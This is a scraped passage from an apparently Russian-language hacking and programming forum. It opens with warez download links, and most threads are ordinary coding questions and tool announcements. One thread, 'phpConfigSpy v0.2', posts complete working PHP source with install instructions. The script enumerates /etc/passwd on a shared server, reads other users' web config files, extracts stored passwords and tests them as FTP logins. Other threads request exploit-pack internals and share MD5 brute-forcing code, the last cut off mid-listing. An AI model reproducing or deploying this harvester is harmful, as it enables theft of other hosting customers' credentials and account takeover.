[http://rapidshare.com/files/38390720/1000w....part6.rar.html](http://rapidshare.com/files/38390720/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part6.rar.html)
[http://rapidshare.com/files/38390729/1000w....part7.rar.html](http://rapidshare.com/files/38390729/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part7.rar.html)
[http://rapidshare.com/files/38387752/1000w....part8.rar.html](http://rapidshare.com/files/38387752/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part8.rar.html)

phpConfigSpy v0.2
ID: 67668b27b4103b69df375e99
Thread ID: 14505
Created: 2008-01-31T17:29:43+0000
Last Post: 2008-01-31T17:29:43+0000
Author: baltazar
Replies: 0 Views: 2K

[Описание]

phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

[Source]

Code:Copy to clipboard

<?php
/*
phpConfigSpy v0.2
coded by p-range #645552
(c) http://p-range.info
*/
echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
###################
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
 if ($i > 35)
 {
  $pos = strpos($str,':');
  $username = substr($str,0,$pos);
  $dirz = '/home/'.$username.'/public_html/';
  if (($username != ''))
  {
   if (is_readable($dirz))
   {
    array_push($users,$username);
    array_push($pub,$dirz);
   }
  }
   }
$i++;
}
###################
echo '

<textarea cols="100" rows="20">';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo "[~] Searching for passwords in config files...\n\n";
foreach ($users as $user)
{
$path = "/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
function read_dir($path,$username)
{
if ($handle = opendir($path))
{
 while (false !== ($file = readdir($handle)))
 {
  $fpath = "$path$file";
  if (($file != '.') and ($file != '..'))
  {
   if (is_readable($fpath))
   {
    $dr = $fpath."/";
    if (is_dir($dr))
    {
     read_dir($dr,$username);
    }
    else
    {
                        if (
                         ($file=='config.php')
                        or ($file=='config.inc.php')
                        or ($file=='conf.php')
                        or ($file=='settings.php')
                        or ($file=='setup.php')
                        or ($file=='dbconf.php')
                        or ($file=='dbconfig.php')
                        or ($file=='db.inc.php')
                        or ($file=='dbconnect.php')
                        or ($file=='connect.php')
                        or ($file=='index.php')
                        or ($file=='common.php')
                        or ($file=='config_global.php')
                        or ($file=='db.php')
                        or ($file=='connect.inc.php')
                        or ($file=='dbconnect.inc.php'))
                       {
      $pass = get_pass($fpath);
      if ($pass != '')
      {
       echo "[+] $fpath\n$pass\n";
       ftp_check($username,$pass);
      }
     }
    }
   }
  }
 }
}
}
function get_pass($link)
{
@$config = fopen($link,'r');
while(!feof($config))
{
 $line = fgets($config);
 if (strstr($line,'pass')
 or strstr($line,'pwd')
 or strstr($line,'db_pass')
 or strstr($line,'dbpass')
 or strstr($line,'passwd'))
 {
  if (strrpos($line,'"'))
  {
   preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
   $pass = str_replace("]=\"","",$pass);
  }
 
  else
   preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
   $pass = str_replace("]='","",$pass);
  return $pass[2];
 }
}
}
function ftp_check($login,$pass)
{
@$ftp = ftp_connect('127.0.0.1');
if ($ftp)
{
 @$res = ftp_login($ftp,$login,$pass);
 if ($res)
 {
  echo '[URL] '.$login.':'.$pass."  Success !\n";
 }
 else ftp_quit($ftp);
}
}
echo '</textarea>

Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>';
?>

[Установка]

phpConfigSpy работает только при SAFE_MODE = OFF.
Для установки просто отредактируйте 24 строку скрипта:

$dirz = '/home/'.$username.'/public_html/';

Click to expand...

и 43 стоку:

$path = '/home/'.$user.'/public_html/';

Click to expand...

на соответствующий путь до веб-директории пользователей.
Затем заливайте на сервер и запускайте через браузер.

[Что нового]

В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.

Coded by p-range & $re@m3r​

Шаблонизатор CTPP
ID: 67668b27b4103b69df375e9b
Thread ID: 14478
Created: 2008-01-28T18:52:19+0000
Last Post: 2008-01-28T18:52:19+0000
Author: baltazar
Replies: 0 Views: 2K

Если говорить коротко, то CTPP (CT++, Сити Плас Плас) - это инструмент, отделяющий процесс обработки данных (бизнес-логику) от их представления. Для проектов, в которых программист и HTML верстальщик - разные люди, CT++ - самый подходящий выбор.

Например, у вас есть задача создать обычную версию HTML странички, версию для печати на принтере и экспорт данных в виде RSS. Очевидно, что в большинстве случаев алгоритм получения данных для этих страничек одинаков, а отличаются они только версткой. В другом случае может понадобиться менять дизайн страниц в зависимости от статуса пользователя или со временем может понадобиться изменить дизайн сайта, не меняя его "движок".

Достоинства CTPP:

o Очень высокая скорость работы

Библиотека CTPP действительно работает очень быстро, поскольку полностью написана на языке C++. В отличие от шаблонизаторов, разработанных на интерпретируемых языках, таких как PERL или PHP, CTPP не тратит время на интерпретацию исходного кода самой себя и не занимается подгрузкой среды исполнения.
В тоже время, библиотека быстрее широкоизвестных проектов типа Xalan-C или libxslt потому, что не предоставляет излишнюю, зачастую ненужную, но снижающую производительность функциональность.

o Гибкий синтаксис шаблонов
Если вы привыкли к синтаксису Smarty, HTML::template или Text::template, вы можете настроить CTPP "понимать" ваши старые шаблоны. Разумеется, некоторые переделки будут, но в ряде случаев проблем при переходе на новый "движок" не возникнет.

o Безопасность
Поскольку труд программиста и HTML верстальщика полностью разделен, нет риска поломки логики работы при неправильной верстке. То есть, вне зависимости от дизайна HTML, проект будет работать именно так, как разрабатывался программистом, в соответствии с техническим заданием.

o Кроссплатформенность
На данный момент библиотека одинаково хорошо работает под Linux, FreeBSD, Solaris и Windows.

o Поддержка реализаций того языка, к какому вы привыкли.
CTPP имеет C, C++, Perl5, PHP4 и PHP5 интерфейсы. Другими словами, вы можете подключить эту библиотеку почти к любому проекту.

o Неограниченное количество уровней вложенности циклов и условий.

o Пользовательские функции
В случае необходимости можно создать собственные функции для специфического форматирования вывода данных.

o Обработчики вывода
Шаблонизатор позволяет изменять уже полученный код; к примеру, добавить сжатие данных методом gzip или сделать поддержку PHP-подобного механизма сессий.

o Внутреннее кеширование при выводе
Шаблонизатор умеет распознавать одинаковые участки подключенного кода шаблона и обрабатывать их только один раз.

o Различные источники шаблонов.
Шаблоны могут считываться с диска, из разделяемой памяти или из любого другого источника данных.
Подробней о шаблонизаторе-http://ctpp.havoc.ru/whatis.html
:zns5: Скачать|Download

сложный sql запрос
ID: 67668b27b4103b69df375e9c
Thread ID: 14471
Created: 2008-01-28T14:22:17+0000
Last Post: 2008-01-28T14:32:44+0000
Author: Phantom
Replies: 2 Views: 2K

как объединить в лефт джойн три таблицы?

web js wysiwyg
ID: 67668b27b4103b69df375e9d
Thread ID: 14462
Created: 2008-01-27T14:01:57+0000
Last Post: 2008-01-28T12:03:41+0000
Author: Pokoinik
Replies: 2 Views: 2K

SPAW Editor

Не плохой визуальник.
+ Встроеный файловый менеджер
+ валидная xhtml верстка
+ небольшой объем
+ быстрое переключние между wysiwyg и html
+ наличие вкладок
- не замещает textarea
- при верстке использует дивы (возможны косяки на сайте)

Демо
:zns2: Домашняя страница

связка ...
ID: 67668b27b4103b69df375ea0
Thread ID: 14351
Created: 2006-12-08T16:39:17+0000
Last Post: 2006-12-08T16:39:17+0000
Author: el-
Replies: 0 Views: 2K

вот всегда было интересно как пишутся связки, как это все организуется.
т.е. как осуществляется контроль прохождения, анализируется ли какой браузер или сплоиты тупо перебираются. мб есть варинты узнать точную версию браузера. канэчно было бы идеально если б кто то дал посмотреть на код какой нить старой и уже не уктуальной связки. ну вобщем разъясните плиз.

MD5 cracker
ID: 67668b27b4103b69df375ea1
Thread ID: 14288
Created: 2006-12-06T22:11:03+0000
Last Post: 2006-12-07T15:54:13+0000
Author: wutang
Replies: 3 Views: 2K

перловый скриптик для брута MD5 хеша...

поиск по ключевому слову с помощью рнр
ID: 67668b27b4103b69df375ea3
Thread ID: 14302
Created: 2006-12-07T10:52:00+0000
Last Post: 2006-12-07T15:02:16+0000
Author: shurik
Replies: 1 Views: 2K

Помогите плиз, сделать поиск, по ключевому слову, на сайте с помощью рнр. В результате должнен отобразиться список заголовков, в которых находиться это слово.Этот список должен быть в виде ссылок. При переходе по ссылке должна отобразиться соответствующая страница, в которой ключевые слова выделенные. Короче говоря надо сделать поиск, как в обычных мануальных файлах типа chm.

Проблемы при работе с объектом Image в JavaScript
ID: 67668b27b4103b69df375ea4
Thread ID: 14215
Created: 2006-12-05T13:48:10+0000
Last Post: 2006-12-07T06:41:03+0000
Author: groundhog
Replies: 2 Views: 2K

Преамбула... Есть функция, написанная на JavaScript.

Code:Copy to clipboard

  function change_image (model, name) {
      var base_url = "http://localhost/imgs/apparat/";
      var img_obj = new Image();

      img_obj.src = base_url + model + '_' + name + '.jpg';
      document.getElementById(model + '_img').src = img_obj.src;
   }

Что она делает... Она просто делает замену картинки... То есть, имеется ряд изображений с именами типа: velesb_cyan.jpg, velese_blue.jpg и т.д. Между этими изображениями функция и переключается. Вызывается она по событию onclick:

Code:Copy to clipboard

onclick="change_image('velese', 'blue');

Теперь в реализацию углубимся... Внутри функции создаётся объект Image. Свойство src этого объекта переключается на файл изображения, путь к изображению формируется конкатенацией переменных (из функции видно, что к чему). Переключение свойства заставляет загрузить изображение в кеш (без отображения на экране). Потом по айдишнику другой картинки идёт переключение свойства src на картинку из кеша. Таким образом картинка подгружается в фоне, а потом отображается.

Теперь внимание вопрос: на всех браузерах семейства Windows всё работает отлично (в Firefox тоже), но вот в Linux (ALT Linux) любой браузер некорректно это всё переваривает - картинки на экране нету. А Opera под Linux вообще выпадает в соплях - закрывает все открытые окна и падает. Кто подскажет в чём проблема?

Решение простое - писать напрямую, то есть:

Code:Copy to clipboard

document.getElementById(model + '_img').src = base_url + model + '_' + name + '.jpg';

Просто интересно, где этот глюк закрался?

mp3
ID: 67668b27b4103b69df375ea5
Thread ID: 14289
Created: 2006-12-06T22:16:03+0000
Last Post: 2006-12-06T23:05:39+0000
Author: HTTPWORD
Replies: 3 Views: 2K

У кого нить есть полное описание Mp3 формата.
Именно как его декодировать.

Со всеми вытикающими интегралами.

MusicBox 2.3
ID: 67668b27b4103b69df375ea8
Thread ID: 13808
Created: 2006-11-30T23:37:54+0000
Last Post: 2006-12-06T10:26:17+0000
Author: Isis
Replies: 2 Views: 2K

Скачал этот скрипт версии послдней 2.3. !!!
Установил..все сделал как написано было, потом как только не пытался, но пишет ашипку такую: :help:

Code:Copy to clipboard

Fatal error: Cannot use object of type Session as array in C:\WebServeR\www\musicbox\index.php on line 3287

На этой строке пусто...пробовал удалять строку,..он пишет еще на 1 строку меньше ошибку!!! :fool:
Вообщем мб скрипт плохой :)дайте хороший скрипт плз или подскажите как исправить!Сенкс :yahoo:

Парсер овертюр
ID: 67668b27b4103b69df375ea9
Thread ID: 13373
Created: 2006-11-06T20:01:09+0000
Last Post: 2006-12-06T08:35:14+0000
Author: KSURi
Replies: 1 Views: 2K

Парсер овертюр. Скрипт для поиска популярных кейвордов.
В форму вводите слова, скрипт обрабатывает их. По возможности отсылает отчет на мыло, в противном случае результат сейвится локально в csv формате (excel). Для отправки отчета требуется СМТП сервер без авторизации.

Code:Copy to clipboard

#!perl -w

use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
use Net::SMTP;

$|=1;
print "Content-Type: text/html; charset=windows-1251\n\n";
print<<HTML;
<html><head>
<title>Overture parser</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<meta name="description" content="overture parser">
<style type="text/css">
body { scrollbar-face-color: #999999; scrollbar-highlight-color: white;
      scrollbar-shadow-color: white; scrollbar-3dlight-color: #C0C0C0;
      scrollbar-arrow-color: white; scrollbar-track-color: #354560;
      scrollbar-darkshadow-color: #999999; background-color: #1E303C; color: #959FA5; }
.text { border: 1px solid #0B1D28; background-color: #354550; color: #FFFFFF;
       font-family: Arial; font-size: 11px; padding: 2px; }
#textarea { border: 1px solid #0B1D28; background-color: #354550; color: white;
           font-family: Arial; font-size: 11px; padding: 2px; height: 100px; width: 165px; }
#button { border: 1px solid #0B1D28; background-color: #354560; color: #FFFFFF;
         font-family: Tahoma; font-size: 12px; padding: 3px; }
a:link { color: #959FA5; }
a:visited { color: #959FA5; }
a:hover,a:active { color: #FFFFFF; }
</style></head><body>
<table width="350" align="center">
<tr><td align="center"><strong>
# $ENV{SCRIPT_NAME}

# &copy;oded by .:[KSURi]:.

# <a href="http://cup.su/">http://cup.su/</a>
</strong></td></tr>
<form action="$ENV{SCRIPT_NAME}" method="post">
<tr><td align="center">


Keywords:

<textarea name="keywords" id="textarea"></textarea></td></tr>
<tr><td align="center">
Report to: <input type="text" name="report_to" size="15" class="text">
</tr></td>
<tr><td align="center">
SMTP: <input type="text" name="smtp" size="20" class="text">
</tr></td>
<tr><td align="center">
<input type="submit" value="Check keywords" id="button">
</td></tr></form></table>

<center>
HTML

my($_POST,$words,$reportMail,$reportSmtp,@keywords  );
read(STDIN,$_POST,$ENV{CONTENT_LENGTH},0)||exit(1) ;
my @pairs=split('&',$_POST);
foreach (@pairs)
{
  my($k,$v)=split('=',$_);
  if($k eq "keywords")
  {
    $words=$v;
    $words=~s/%([0-9A-H]{2})/pack('C',hex($1))/ge;
    foreach(split("\n",$words)) { push(@keywords,$_) }
  }
  elsif($k eq "report_to")
  {
    $reportMail=$v;
    $reportMail=~s/%([0-9A-H]{2})/pack('C',hex($1))/ge;
  }
  elsif($k eq "smtp") { $reportSmtp=$v }
}
exit(1) if($#keywords<1||!defined($reportMail)||!defined($reportSmtp));
chomp(@keywords);
undef $_POST;
undef @pairs;
undef $words;

my $overtureEngine="http://inventory.overture.com/d/searchinventory/suggestion/";
my $googleEngine="http://www.google.com/search?hl=en&btnG=Search&q=";
my @userAgents=("Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 9.01",
                "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)",
                "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1",
                "Mozilla/4.8 [en] (Windows NT 5.0; U)",
                "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
my $reportName="report_".time.".csv";
my %reportContent=(keyword=>"",
                   google=>"",
                   queries=>{query=>[],
                             count=>[]});

foreach(@keywords)
{
  checkKw($_);
  prepeareCsvReport();
}
if(sendReport() eq "sent") { print "<font color=\"green\">Report sent (".localtime().")</font>
" }
else { print "<font color=\"red\">Report sending failed! Saved in <a href=\"".$reportName."\" target=\"_new\">".$reportName."</a></font>
" }

sub checkKw
{
  my $keyword=shift;
  $reportContent{keyword}=$keyword;
  my $ua=LWP::UserAgent->new(agent=>$userAgents[rand($#userAgents)],
                             timeout=>60);
  my $response=$ua->request(POST $overtureEngine,
                            Content_Type=>"application/x-www-form-urlencoded",
                            Content=>[mkt=>"us",
                                      lang=>"en_US",
                                      term=>$keyword]);
  print "<font color=\"red\">Overture is unreachable!</font>"&&return if !$response->is_success;
  foreach(split("\n",$response->content))
  {
    if(/<td><font face=\"verdana,sans-serif\"\s*size=1> (.*)<\/td>/) { push(@{$reportContent{queries}{count}},$1) }
    elsif(/<td> <a href=\".*\"><font face=\"verdana,sans-serif\"\s*size=1\s*color=\#000000>(.*)<\/a><\/td>/) { push(@{$reportContent{queries}{query}},$1) }
  }
  my $googleResult;
  $response=$ua->request(GET $googleEngine.$keyword,
                         Referer=>"http://www.google.com/");
  print "<font color=\"red\">Google is unreachable!</font>"&&return if !$response->is_success;
  foreach(split("\n",$response->content))
  {
    if(/of about\s*<b>(.*)<\/b>\s*for\s*<b>\s*$keyword\s*<\/b>/)
    {
      $reportContent{google}=$1;
      $reportContent{google}=~s/,//g;
    }
  }
}

sub prepeareCsvReport
{
  open(CSV,">>$reportName");
  print CSV $reportContent{keyword};
  print CSV ";";
  $reportContent{google}="n/a" if(!$reportContent{google});
  print CSV $reportContent{google};
  print CSV ";";
  for(0..9)
  {
    $reportContent{queries}{query}[$_]="n/a" if(!$reportContent{queries}{query}[$_]);
    $reportContent{queries}{count}[$_]="n/a" if(!$reportContent{queries}{count}[$_]);
    print CSV ($reportContent{queries}{query}[$_]."-".$reportContent{queries}{count}[$_]);
    print CSV ";" if($_!=9);
  }
  print CSV "\n";
  close CSV;
  $reportContent{keyword}="";
  $reportContent{google}="";
  @{$reportContent{queries}{query}}=();
  @{$reportContent{queries}{count}}=();
}

sub sendReport
{
  my $smtp=Net::SMTP->new($reportSmtp,
                          Timeout=>7,
                          Debug=>1)||return "failed";
  $smtp->mail("overture\@parser.cgi");
  $smtp->recipient($reportMail);
  $smtp->data;
  $smtp->datasend("To: ".$reportMail."\n");
  $smtp->datasend("From: overture\@parser.cgi\n");
  $smtp->datasend("Subject: Report from overture_parser.cgi\n");
  $smtp->datasend("MIME-Version: 1.0");
  $smtp->datasend("Content-Type: multipart/mixed; boundary=\"splitter\"");
  $smtp->datasend("--splitter");
  $smtp->datasend("Content-Type: text/html; name=\"".$reportName."\"");
  $smtp->datasend("Content-Transfer-Encoding: 7bit");
  $smtp->datasend("Content-Disposition: attachment; filename=\"".$reportName."\"");
  $smtp->datasend("\n");
  open(REPORT,$reportName)||return "failed";
  my @attachment=<REPORT>;
  $smtp->datasend(@attachment);
  close REPORT;
  $smtp->datasend("--splitter--");
  $smtp->datasend("\n");
  $smtp->dataend;
  $smtp->quit;
  return "sent";
}

END { print "</center></body></html>" }

:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot
:screenshot: Скриншот|Screenshot

Дизайн сайта
ID: 67668b27b4103b69df375ead
Thread ID: 13618
Created: 2006-11-21T05:16:33+0000
Last Post: 2006-12-03T12:10:55+0000
Author: TeRRaN
Replies: 3 Views: 2K

Люди есть среди вас человек который безвоздместно поможет сделать шаблон для сайта на движке мамба. :help:
Рисукон из которого это нужно сделать имеется. :punk:
С удовольчтвием добавлю баннер на свой сайт. :holloween:

Помогите скомпилировать Java-класс (EDITED)
ID: 67668b27b4103b69df375eb1
Thread ID: 13723
Created: 2006-11-29T16:55:22+0000
Last Post: 2006-11-30T16:18:35+0000
Author: t1er
Replies: 4 Views: 2K

помогите скомпилировать класс.

import java.io.;
import java.util.
;
public class Savitchln
{
public static String readline()
{
char nextChar;
String result = "";
boolean done = false;

while (!done)
{
nextChar = readChar();
if (nextChar == '\r')
{
}
elseresult = result + nextChar;
}
return result;
}
public static String readLineWord()
{
String inputString = null;
result = null;
boolean done = false;

while (!done)
{
inputString = readLineWord();
StringTokenizer wordSource =
new StringTokenizer(inputString);
if (wordSource.hasMoreTokens())
{
result = wordSource.nextToken();
done = true;
}
else
{
System.out.println(
"Введённое значение некорректно. Оно ложно");
System.out.println(
"Содержать хотя бы один символ, отличный от пробела.");
System.out.println(
"Пожалуйста, попытайтесь снова. Введите данные.");
}
}
return result();
}
public static int readLineInt()
{
String inputString = null;
int number = -9999;
boolean done = false;
while (!done)
{
try
{
inputString = readLineInt();
inputString = inputString.trim();
number = Integer.parseInt(inputString);
done = true;
}
catch (NumberFormatExeption e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно быть");
System.out.println("целым и состоять из обычных");
System.out.println("цифр, например 42.");
System.out.println("Знак минус допустим," +
"но знак плюс использовать не нужно.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите целое число.");
}
}
return number;
}
public static long readLineLong()
{
String inputString = null;
long number = -9999;
boolean done = false;

while (!done)
{
try
{
inputString = readLine();
inputString = inputString.trim();
number = Long.parseLong(inputString);
done = true;
}
catch (NumberFormatException e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно быть");
System.out.println("целым и состоять из обычных");
System.out.println("цифр, например 42.");
System.out.println("Знак минус допустим," +
"но знак плюс использовать не нужно.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите целое число.");
}
}
return number;
}
public static double readLineDouble()
{
String inputString = null;
double number = -9999;
boolean done = false;

while(!done)
{
try
{
inputString = readLine();
inputString = inputString.trim();
number = Double.parseDouble(inputString);
done = true;
}
catch (NumberFormatException e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно");
System.out.println("состоять из обычных цифр и");
System.out.println("включать либо не включать");
System.out.println("десятичную точку, например 42 или 9.99");
System.out.println("Пожалуйста попытайтесь снова.");
System.out.println("Введите число.");
}
}
return number;
}
public static float readLineFloat()
{
String inputString = null;
float number = -9999;
boolean done = false;

while (!done)
{
try
{
inputString = readLine();
inputString = inputString.trim();
number = Float.parseFloat (inputString);
done = true;
}
catch (NumberFormatException e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно");
System.out.println("состоять из обычных цифр и");
System.out.println("включать либо не включать");
System.out.println("десятичную точку, например 42 или 9.99");
System.out.println("Пожалуйста попытайтесь снова.");
System.out.println("Введите число.");
}
}
return number;
}
public static char readLineNonwhiteChar()
{
boolean done = false;
String inputString = null;
char nonWhite = ' ';

while (!done)
{
inputString = readLineDouble();
inputString = inputString.trim();
if (inputString.length() == 0);
{
System.out.println("Введённы вами значение некорректно.");
System.out.println("Введённое значение должно содержать");
System.out.println("хотя бы один символ, отличный от пробела.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите данные.");
}
else
{
nonWhite = (inputString.charAt(0));
done = true;
}
}
return nonWhite;
}
public static boolean readLineBoolean()
{
boolean done = false;
String inputString = null;
boolean result = false;

while (!done)
{
inputString = readLine();
inputString = inputString.trim();
if (inputString.eqalsIgnoreCase("t"));
{
result = true;
done = true;
}
else

if (inputString.equalsIgnoreCase("false")
|| inputString.equalsIgnoreCae("f"));
{
result = false;
done = true;
}
else
{
System.out.println("Введённое вами значение некорректно.");
System.out.println("Введённое значение должно сожержать");
System.out.println("один из следующих вариантов:");
System.out.println("слово true,");
System.out.println("слово false,");
System.out.println("букву T,");
System.out.println("букву F.");
System.out.println("Можно испльзовать прописные");
System.out.println("или строчные буквы.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите данное:");
}
}
return result;
}
public static char readChar()
{
int charAsInt = -1;
try
{
charAsInt = System.in.read();
}
catch (IOExecution e)
{
System.out.println(e.getMessage());
System.out.println("Неисправимая ошибка. Завершение программы.");
}
return (char) charAsInt;
}
}
public static char readNonWhiteChar()
{
char next;
next = readChar();
while (Character.isWhitespace(next))
next = readChar();
return next;
}
public ststic int readInt() throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Integer/parseInt(inputString);
}
public static long readLong() throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Long.parseLong(inputString);
}
public static double readDouble()
throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Double.parseDouble(inputString);
}
public static float readFloat() throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Float.parseFloat(inputString);
}
public static String readWord()
{
String result = "";
char next;
next = readChar();
while (Character.isWhitespace(next));
next = readChar();
while (!(Character.isWhitespace(next)))
{
result = result + next;
next = readChar();
}
if (next == '\r')
{
next = readChar();
if (next != '\n')
{
System.out.println(
"Неисправимая ошибка в методе readWord класса Savitchln.");
System.exit(1);
}
}
return result;
}
public static byte readLineByte()
{
String inputString = null;
byte number = -123;
boolean done = false;
while (! done)
{
try
{
inputString = readLine();
inputString = inputString.trim();
number = Byte.parseByte(inputString);
done = true;
}
catch (NumberFormatException e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно быть");
System.out.println("целым и лежать в диапазоне");
System.out.println("от -128 до 127. Оно должно быть");
System.out.println("Записано обычными цифрами, например 42.");
System.out.println("Знак минус допустим,"
+ "но знак плюс использовать не нужно.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите целое число.");
}
}
return number;
}
public static short readLineShort()
{
String inputString = null;
short number = -9999;
boolean done = false;
while (! done)
{
try
{
inputString = readLine();
inputString = inputString.trim();
number = Short.parseShort(inputString);
done = true;
}
catch (NumberFormatException e)
{
System.out.println("Введённое вами число некорректно.");
System.out.println("Вводимое число должно быть");
System.out.println("целым и лежать в диапазоне");
System.out.println("от -32768 до 32767. Оно должно быть");
System.out.println("записано обычными цифрами, например 42.");
System.out.println("Знак минус допустимы,"
+ "но знак плюс использовать не нужно.");
System.out.println("Пожалуйста, попытайтесь снова.");
System.out.println("Введите целое число:");
}
}
return number;
}
public static byte readByte() throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Byte.parseByte(inputString);
}
public static short readShort() throws NumberFormatException
{
String inputString = null;
inputString = readWord();
return Short.parseShort(inputString);
}
public static int read()
{
int result = -1;
try
{
result = System.in.read();
}
catch (IOException e)
{
System.out.println(e.getMessage());
System.out.println("Неисправимая ошибка. Завершение программыю");
System.exit(0);
}
return result;
}
}

выдаёт 4 ошибки:
Error 1 Expected class, interface, enum or delegate D:\Savitchln1.jsl 243 19
Error 2 Unexpected else D:\Savitchln1.jsl 180 7
Error 3 Unexpected else D:\Savitchln1.jsl 203 7
Error 4 Unexpected else D:\Savitchln1.jsl 211 7

класс нужен для возврата значений ввода с клавиатуры.... помогите чем сможете...

объектный модуль для организации сервера распредел
ID: 67668b27b4103b69df375eb2
Thread ID: 13372
Created: 2006-11-06T19:57:09+0000
Last Post: 2006-11-30T11:50:12+0000
Author: KSURi
Replies: 3 Views: 2K

Откопал сорец месячной давности...)
Полноценный объектный модуль для организации сервера распределенных вычислений (если точнее брут мд5). Я тут подумал... Через пару дней напишу Pod доку для него и скину.
Код в принципе не сложный, думаю разберетесь.
Ежели какие вопросы - пишите тут.

Code:Copy to clipboard

package Distributed;

use strict;
use vars qw($VERSION @ISA @EXPORT_OK);
use IO::Socket;
use threads;

$VERSION="0.01";
@ISA=qw(IO::Socket threads);
@EXPORT_OK=qw(host port logFile clientsFile taskFile foundFile maxClients DEBUG);

sub new
{
    my($class,%args)=@_;
    my $self={%args};
    if(!exists($self->{host}))        { $self->{host}="127.0.0.1"          }
    if(!exists($self->{port}))        { $self->{port}=31337                }
    if(!exists($self->{logFile}))     { $self->{logFile}="server.log"      }
    if(!exists($self->{clientsFile})) { $self->{clientsFile}="clients.dat" }
    if(!exists($self->{taskFile}))    { $self->{taskFile}="clients.dat"    }
    if(!exists($self->{foundFile}))   { $self->{foundFile}="found.dat"     }
    if(!exists($self->{maxClients}))  { $self->{maxClients}=10             }
    if(!exists($self->{DEBUG}))       { $self->{DEBUG}=0                   }
    return bless($self,ref($class)||$class);
}

sub startServer
{
    my $self=shift;
    print "Debug: starting server\n" if $self->{DEBUG};
    my $i=0;
    my $socket=IO::Socket::INET->new(LocalAddr=>scalar($self->{host}),
                                     LocalPort=>int($self->{port}),
                                     Listen=>int($self->{maxClients}),
                                     Proto=>"tcp",
                                     Type=>SOCK_STREAM,
                                     Blocking=>0)||exit print __FILE__.": ".__LINE__.": can not create socket: ".$!."\n";
    while(1)
    {
        next unless(my $newConnection=$socket->accept());
        my $clData=threads->create(\&processClient,$i,$newConnection)->detach();
        if($clData eq "processed") { $self->logAction($newConnection->peer()." was processed\n"); }
        elsif($clData eq "found") { $self->logAction($newConnection->peer()." found the password for task=".$i++."\n"); }
        else { $self->logAction($newConnection->peer()." was failed to process\n"); }
    }
}

sub logAction
{
    my($self,$action)=@_;
    print "Debug: logging\n" if $self->{DEBUG};
    open(LOG,">>$self->{logFile}")||exit print __FILE__.": ".__LINE__.": can not open logfile: ".$!."\n";
    print LOG localtime()." - ".$action."\n";
    close LOG;
}

sub processClient
{
    my($self,$clCtr,$conn)=@_;
    print "Debug: client connected\n" if $self->{DEBUG};
    my($response,@splitResponse);
    my @idArr=split('\.',$conn->peer());
    my $id=$idArr[2].$idArr[3];
    undef @idArr;
    $conn->recv($response,128);
    @splitResponse=split(':',$response);
    if($splitResponse[0] eq "COMMAND"&&$splitResponse[1] eq "OLD")
    {
        if($self->verifyClient($id) eq "success")
        {
            $conn->send("STATUS:OK",0,0);
            $conn->recv($response,128);
            @splitResponse=(':',$response);
            if($splitResponse[0] eq "TASK"&&$splitResponse[1] eq "GET")
            {
                my @task=getTask($clCtr);
                foreach(@task) { $conn->send($_,0,0); sleep(1); }
                $conn->recv($response,128);
                if($response eq "STATUS:OK")
                {
                    close $conn&&undef $conn;
                    return "processed";
                }
                else { return "failed"; }
            }
            elsif($splitResponse[0] eq "STATUS")
            {
                if($splitResponse[1] eq "FOUND")
                {
                    open(FOUNDDB,">>$self->{foundFile}")||exit print __FILE__.": ".__LINE__.": can not open passwords file: ".$!."\n";
                    print FOUNDDB "Hash:".$splitResponse[2]." Password: ".$splitResponse[3]."\n";
                    close FOUNDDB;
                    close $conn&&undef $conn;
